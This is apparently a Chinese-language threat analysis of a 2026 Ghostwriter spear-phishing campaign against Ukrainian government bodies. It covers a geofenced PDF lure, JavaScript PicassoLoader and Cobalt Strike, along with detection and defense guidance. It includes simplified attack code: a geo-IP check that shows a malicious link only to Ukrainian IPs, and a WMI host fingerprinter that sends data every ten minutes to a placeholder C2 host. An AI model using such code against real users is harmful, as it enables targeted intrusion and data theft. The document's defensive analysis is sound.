摘要
2026 年 3 月以来,与白俄罗斯关联的 APT 组织 Ghostwriter(亦称 FrostyNeighbor、Umbral Bison 等)针对乌克兰政府机构发起定向鱼叉式钓鱼攻击,通过伪装成乌克兰电信企业 Ukrtelecom 的恶意 PDF 文档,结合地理围栏过滤、JavaScript 版 PicassoLoader与Cobalt Strike Beacon形成完整攻击链,仅对乌克兰境内 IP 投递真实载荷,境外 IP 返回正常文档以规避检测。本文基于 ESET 公开报告与 The Hacker News 披露的技术细节,系统拆解该攻击的社会工程伪装、地理围栏机制、多阶段载荷投递与终端持久化控制流程,给出关键环节的代码实现与检测特征,并构建覆盖邮件网关、终端检测、威胁狩猎与应急响应的协同防御体系。反网络钓鱼技术专家芦笛指出,此类结合精准定位、动态载荷与人工复核的高级钓鱼已成为 APT 攻击主流范式,传统基于哈希与静态特征的防护机制失效风险显著上升,必须转向行为分析、上下文验证与纵深联动防御。
1 引言
网络空间对抗已成为地缘政治冲突的重要延伸,APT 组织长期以政府、国防、关键信息基础设施为核心目标,通过持续迭代的社会工程与恶意代码实现情报窃取、权限持久化与横向渗透。Ghostwriter 组织自 2016 年活跃至今,以乌克兰、波兰、立陶宛等东欧国家为主要目标,兼具网络间谍行动与信息作战属性,被多家安全机构以多代号追踪,其工具链与攻击手法持续演进,先后使用 PicassoLoader、njRAT、Cobalt Strike 等组件,并利用 WinRAR、Roundcube 等高危漏洞提升入侵成功率。
2026 年 3 月起,该组织针对乌克兰政府机构发动新一轮攻击,核心创新在于地理围栏(Geofenced)PDF 钓鱼与服务器端人工复核结合,实现攻击链的高度定向与隐蔽性:恶意 PDF 内嵌链接仅对乌克兰 IP 触发恶意流程,境外访问获得无害文档;载荷投递前执行主机指纹采集与周期性回传,由攻击者人工判定目标价值后下发第三阶段组件,极大降低被沙箱与自动化工具捕获的概率。
现有研究多聚焦传统钓鱼邮件、漏洞利用或单一恶意代码分析,对地理精准过滤 + 多阶段动态载荷 + 人工干预的复合型攻击链缺乏系统性拆解,防御方案难以适配此类高对抗场景。本文以真实攻击事件为样本,完整复现攻击流程、提取技术特征、给出可落地检测规则与防御策略,为政府与关键信息基础设施单位应对同类 APT 攻击提供参考。
2 Ghostwriter 组织背景与攻击活动梳理
2.1 组织溯源与追踪体系
Ghostwriter 是与白俄罗斯方面关联的 APT 组织,至少自 2016 年起持续开展网络间谍与影响力行动,核心目标为东欧邻国,尤以乌克兰为重点。该组织在安全业界存在多重追踪命名,形成交叉验证体系:
FrostyNeighbor(ESET)
PUSHCHA、Storm-0257(微软)
TA445(Proofpoint)
UAC‑0057(乌克兰 CERT-UA)
Umbral Bison(原 RepeatingUmbra,Mandiant)
UNC1151(FireEye)
White Lynx(其他区域厂商)
ESET 在报告中强调,FrostyNeighbor 保持持续作战能力,工具链、入侵链与投递方式定期更新,具备高度作战成熟度,长期针对东欧区域目标实施定向威胁。
2.2 历史攻击手法演进
该组织攻击路径呈现清晰迭代轨迹,逐步从漏洞驱动转向社会工程 + 动态对抗为主:
早期阶段:以 PicassoLoader 为核心下载器,投递 Cobalt Strike Beacon 与 njRAT,实现远程控制与信息窃取;
2023 年底:利用 WinRAR 代码执行漏洞(CVE-2023-38831,CVSS 7.8),通过恶意压缩包无交互释放 PicassoLoader 与 Cobalt Strike;
2025 年:针对波兰机构发动钓鱼,利用 Roundcube 跨站漏洞(CVE-2024-42009,CVSS 9.3)执行恶意 JavaScript 窃取邮箱凭据,进而窃取邮件内容、联系人列表并扩散钓鱼邮件;
2025 年底:引入动态 CAPTCHA 反分析机制,诱饵文档通过人机验证触发攻击链,对抗沙箱自动执行;
2026 年 3 月至今:地理围栏 PDF 钓鱼 + JavaScript 版 PicassoLoader+Cobalt Strike,实现高度定向、低检出率的精准入侵。
2.3 2026 年乌克兰攻击活动定位
本次攻击属于 Ghostwriter 典型作战范式的升级:
目标聚焦:乌克兰军方、国防部门与政府机构;
载体创新:地理围栏 PDF,伪装乌克兰电信运营商 Ukrtelecom 官方文档;
流程闭环:鱼叉邮件→PDF 诱饵→地理校验→RAR 压缩包→JS 载荷→PicassoLoader→主机指纹→人工复核→Cobalt Strike Beacon;
对抗增强:非目标区域返回无害文件,主机信息每 10 分钟回传,人工判定后下发最终载荷,显著提升隐蔽性与目标精准度。
反网络钓鱼技术专家芦笛强调,Ghostwriter 此类攻击代表 APT 钓鱼的演进方向:从广撒网转向精准打击,从自动执行转向人机协同,从静态特征转向动态行为对抗,对传统防御体系构成颠覆性挑战。
3 地理围栏 PDF 钓鱼攻击全流程拆解
3.1 攻击入口:鱼叉式钓鱼邮件与 PDF 诱饵构造
攻击者以乌克兰政府职员为目标,发送伪装成 Ukrtelecom 的钓鱼邮件,附件为恶意 PDF。PDF 具备双重特性:
外观:合规企业文档样式,包含服务通知、业务说明等内容,降低警惕;
内核:内嵌 JavaScript 与远程链接,执行 IP 地理校验与载荷分发逻辑。
邮件具备典型高仿真特征:
发件人仿冒:域名拼写接近官方,显示名称为 Ukrtelecom Support;
主题诱导:业务核验、账户更新、线路维护等紧急场景;
话术施压:要求限期查看、点击链接完成确认,引导用户快速交互。
该环节核心是社会工程可信度与技术隐蔽性结合,为后续地理围栏与载荷投递创造前提。
3.2 核心机制:PDF 地理围栏实现原理
地理围栏是本次攻击的关键创新,实现仅目标区域触发攻击,境外 IP 无感知,大幅降低暴露风险。
3.2.1 执行流程
用户打开 PDF,内嵌脚本自动获取客户端出口 IP;
调用远程 IP 地理信息接口,查询归属地;
判定为乌克兰 IP:返回含恶意链接的有效页面,引导点击;
判定为非乌克兰 IP:返回正常无害 PDF,攻击链终止;
链接点击后下载 RAR 压缩包,内含 JavaScript 诱饵与恶意组件。
3.2.2 伪代码实现(PDF 内嵌 JS 逻辑)
// 简化版地理围栏校验逻辑
function checkGeoIP() {
// 获取出口IP(通过远程接口回显)
var clientIP = getClientPublicIP();
// 调用IP定位接口
var geoInfo = httpGet("https://geo-service.example/query?ip=" + clientIP);
var country = geoInfo.country_code;
if (country === "UA") {
// 乌克兰IP:显示恶意链接按钮
showMaliciousLink();
} else {
// 非乌克兰IP:展示正常内容
showBenignPDFContent();
}
}
// 文档打开时自动执行
this.addScript({
event: "Open",
script: "checkGeoIP();"
});
该机制实现攻击面最小化,只有真实目标可触发完整流程,沙箱、威胁狩猎平台因境外 IP 无法复现攻击链。
3.3 载荷投递:RAR 压缩包与双阶段 JavaScript 执行
用户点击恶意链接后下载 RAR 归档文件,内部结构设计具备强欺骗性:
前台:显示诱饵文档,伪装业务说明、通知等正常内容;
后台:静默启动 JavaScript 版 PicassoLoader,执行主机信息采集与回联。
双阶段执行逻辑:
第一阶段 JS:解析系统环境、采集硬件与软件指纹,生成唯一设备标识;
指纹数据每 10 分钟加密回传至 C2 服务器;
攻击者人工审核指纹,判定目标价值;
高价值目标下发第二阶段 JS 下载器,部署 Cobalt Strike Beacon;
低价值或可疑环境(沙箱、蜜罐)终止流程,不投递核心载荷。
该流程将自动化检测与人工决策结合,突破传统沙箱 “执行即捕获” 的检测逻辑。
3.4 终端控制:PicassoLoader 与 Cobalt Strike 持久化
3.4.1 JavaScript 版 PicassoLoader 核心功能
作为定制下载器,其核心能力包括:
主机指纹采集:操作系统版本、架构、进程列表、杀毒软件、域环境、网络配置;
周期性回传:每 10 分钟上报指纹,保持在线状态;
指令监听:等待 C2 下发后续组件 URL 与执行参数;
抗沙箱:检测虚拟环境、调试器、进程黑名单,异常则自销毁。
3.4.2 简化版指纹采集与回传代码
// 主机信息采集
function collectSystemInfo() {
var info = {};
info.os = GetObject("winmgmts:").ExecQuery("SELECT * FROM Win32_OperatingSystem");
info.process = GetObject("winmgmts:").ExecQuery("SELECT Name FROM Win32_Process");
info.ip = getClientPublicIP();
info.timestamp = new Date().getTime();
return info;
}
// 加密回传至C2
function postToC2(data) {
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://c2.example/report", true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.send(encrypt(JSON.stringify(data)));
}
// 定时任务:每10分钟上报
setInterval(function() {
var info = collectSystemInfo();
postToC2(info);
}, 10 * 60 * 1000);
3.4.3 Cobalt Strike Beacon 落地与持久化
人工复核通过后,第二阶段 JS 下载器获取 Cobalt Strike Beacon,执行:
内存加载:减少文件落地,规避 EDR 文件扫描;
权限维持:通过计划任务、注册表启动项、服务注入实现持久化;
远程控制:提供交互式 Shell、文件管理、凭据窃取、横向移动能力。
至此,攻击者获得目标主机长期控制权,可开展情报窃取、内网渗透等后续行动。
3.5 攻击链总结
完整攻击链路可概括为:
鱼叉邮件→地理围栏 PDF→IP 校验→RAR+JS 双阶段→PicassoLoader 指纹采集→人工复核→Cobalt Strike Beacon→权限持久化→内网渗透
反网络钓鱼技术专家芦笛指出,该攻击链的威胁在于每一环均具备对抗性:地理过滤规避泛化检测、双阶段执行规避静态扫描、人工复核规避沙箱与蜜罐、内存加载规避文件查杀,形成闭环式高生存能力入侵体系。
4 同类 APT 组织攻击对比与威胁扩散分析
4.1 同期东欧地区 APT 活动对比
4.1.1 Gamaredon 组织(俄罗斯关联)
时间:2025 年 9 月起针对乌克兰国家机构;
载体:鱼叉钓鱼邮件,伪造或盗用政府账户发送;
载荷:GammaDrop、GammaLoad 下载器,利用 CVE-2025-8088;
特征:多阶段 VBScript,主机信息采集,作战节奏快、规模大,技术复杂度低但持续性极强。
4.1.2 BO Team(亲乌克兰黑客组织)
目标:俄罗斯机构,联合 Head Mare(PhantomCore);
工具:BrockenDoor、ZeronetKit、Go 语言后门 ZeroSSH;
平台:覆盖 Windows 与 Linux,执行命令与反向 SSH 通道;
规模:2026 年 Q1 攻击约 20 家机构,基础设施与工具高度重叠。
4.1.3 Hive0117(金融牟利组织)
目标:俄罗斯、立陶宛、爱沙尼亚、白俄罗斯、哈萨克斯坦企业;
手段:钓鱼邮件入侵会计主机,伪装工资转账洗钱;
载荷:远程控制木马 DarkWatchman;
规模:2026 年 2-3 月攻击超 3000 家机构,窃取超 1400 万卢布。
4.2 威胁共性与扩散趋势
钓鱼主导:鱼叉式钓鱼仍是 APT 首选入口,社会工程仿真度持续提升;
多阶段载荷:普遍采用下载器 + 主力木马结构,降低初始暴露风险;
地理定向:攻击高度聚焦地缘冲突区域,目标精准化;
对抗增强:反沙箱、反虚拟机、地理过滤、人工干预成为标配;
目标泛化:从政府国防扩散至制造、医疗、物流、金融等关键领域。
反网络钓鱼技术专家芦笛强调,东欧地区已成为高级钓鱼技术试验场,地理围栏、动态载荷、人机协同等手法正向全球扩散,政府与企业必须提前构建适配高对抗场景的防御体系。
5 攻击检测特征与防御技术体系构建
5.1 关键检测点与 IOC 提取
基于攻击流程,提炼可落地检测特征,覆盖邮件、网络、终端、行为维度:
表格
检测层级 检测特征 检测方式
邮件层 仿冒 Ukrtelecom 发件人、紧急诱导话术、PDF 附件 DMARC+SPF+DKIM 校验、内容语义分析
PDF 层 内嵌 GeoIP 查询、境外 IP 返回无害文档 沙箱动态执行、JS 行为监控
网络层 访问未知 IP 定位接口、周期性 10 分钟外联、C2 通信 流量分析、DNS 监控、异常外连告警
终端层 JS 调用 WMI 采集进程、异常计划任务、内存加载 Beacon EDR 进程监控、注册表监控、内存 Hook
行为层 短时间内文档查看 + 网络外联 + 系统信息枚举 关联行为分析、UBA 用户行为分析
核心行为检测规则:
PDF 打开后自动执行 HTTP 请求并根据返回结果切换内容;
JavaScript 脚本周期性(约 10 分钟)向同一域名发送 POST 请求;
进程链:Office / 阅读器→脚本宿主→可疑网络访问→系统信息采集;
无文件落地的内存加载行为,关联 Cobalt Strike 特征。
5.2 纵深防御体系设计
结合攻击特性,构建技术 + 管理 + 人员三层协同防御模型:
5.2.1 技术防护层
邮件安全加固
强制启用 DMARC p=reject,阻断域仿冒;
对 PDF 附件执行动态沙箱分析,模拟多区域 IP 访问,触发地理围栏逻辑;
对含紧急话术、陌生链接的外部邮件增加醒目风险提示。
终端检测与响应
EDR 开启脚本行为监控,拦截 JS/WMI 敏感操作;
禁用 Office / 阅读器自动执行 JavaScript、ActiveX 等高危功能;
启用应用白名单,限制未知脚本与下载器执行。
网络边界防护
部署威胁情报,封禁已知 C2 与 IP 定位恶意接口;
对内网主机周期性外联、高频外连未知域名行为实时告警;
关键区域启用终端出口 IP 绑定与区域访问控制。
主动威胁狩猎
定期检索:10 分钟周期性外连、JS 调用 WMI、异常计划任务;
回溯 PDF 附件与邮件日志,识别仿冒与地理围栏样本;
针对政府、国防等高价值目标开展专项狩猎。
5.2.2 制度管理层
建立钓鱼攻击应急响应预案,明确研判、隔离、清除、复盘流程;
关键岗位强制 MFA,降低凭据泄露后横向渗透风险;
定期开展高仿真钓鱼演练,覆盖仿冒企业、紧急通知等场景;
将钓鱼防御纳入供应链与第三方评估指标。
5.2.3 用户赋能层
培训识别仿冒邮件、可疑 PDF、异常链接的核心特征;
推行 “陌生附件不点开、紧急请求先核验” 操作规范;
建立便捷上报渠道,鼓励可疑样本快速送检。
反网络钓鱼技术专家芦笛强调,防御此类高级钓鱼必须放弃单一特征依赖,转向上下文行为分析 + 纵深联动 + 快速响应,通过技术、制度、人员的闭环协同,提升整体对抗能力。
6 应急响应与溯源处置建议
6.1 应急响应流程
快速研判
确认受影响主机、部门、网络边界,提取 PDF、JS、C2 日志等证据;
判断是否触发完整攻击链,确认是否存在 Cobalt Strike 上线。
遏制扩散
隔离受感染主机,断网防止横向移动;
封禁 C2 域名 / IP,阻断通信;
重置相关用户凭据,关闭异常计划任务与启动项。
清除修复
查杀内存与文件系统中的 Loader 与 Beacon;
修复篡改的注册表、计划任务、服务;
恢复系统与应用至安全配置,重新接入网络。
溯源复盘
回溯邮件入口、投递时间、受影响范围;
分析攻击动机、目标价值、组织特征;
完善防御规则,更新威胁情报与 IOC。
6.2 溯源要点
邮件头信息:真实发件 IP、中继服务器、域名注册信息;
C2 基础设施:IP 归属、域名注册人、DNS 解析记录、SSL 证书;
工具链特征:PicassoLoader、Cobalt Strike 的配置与指纹;
结合公开情报,关联 Ghostwriter 历史活动,完成归因。
7 结论与展望
Ghostwriter 组织 2026 年针对乌克兰政府的地理围栏 PDF 钓鱼 + Cobalt Strike攻击,代表当前 APT 钓鱼攻击的高阶形态:以地缘政治为驱动、以精准定向为核心、以动态对抗为手段、以人工复核增强隐蔽性,实现高存活、高隐蔽、高价值的网络间谍行动。本文完整拆解攻击全流程,明确地理围栏机制、多阶段载荷、人工决策等关键创新,给出可落地的检测特征、代码示例与纵深防御体系,为政府及关键信息基础设施单位提供直接参考。
反网络钓鱼技术专家芦笛指出,随着对抗升级,钓鱼攻击将进一步向精准化、动态化、无文件化、人机协同化发展,传统防护体系的短板将持续放大。未来防御需聚焦三大方向:一是提升沙箱对地理过滤、动态条件触发类样本的模拟能力;二是强化行为关联分析,从孤立特征转向上下文意图判定;三是构建威胁情报、终端、网络、邮件的协同联动体系,实现快速检测、响应与狩猎。
本次攻击事件再次证明,网络安全的本质是人与人的对抗,只有持续跟踪 APT 组织手法演进,将技术防御、制度管理、安全意识深度融合,才能有效抵御高级定向威胁,维护关键信息基础设施与网络空间安全。
编辑:芦笛(公共互联网反网络钓鱼工作组)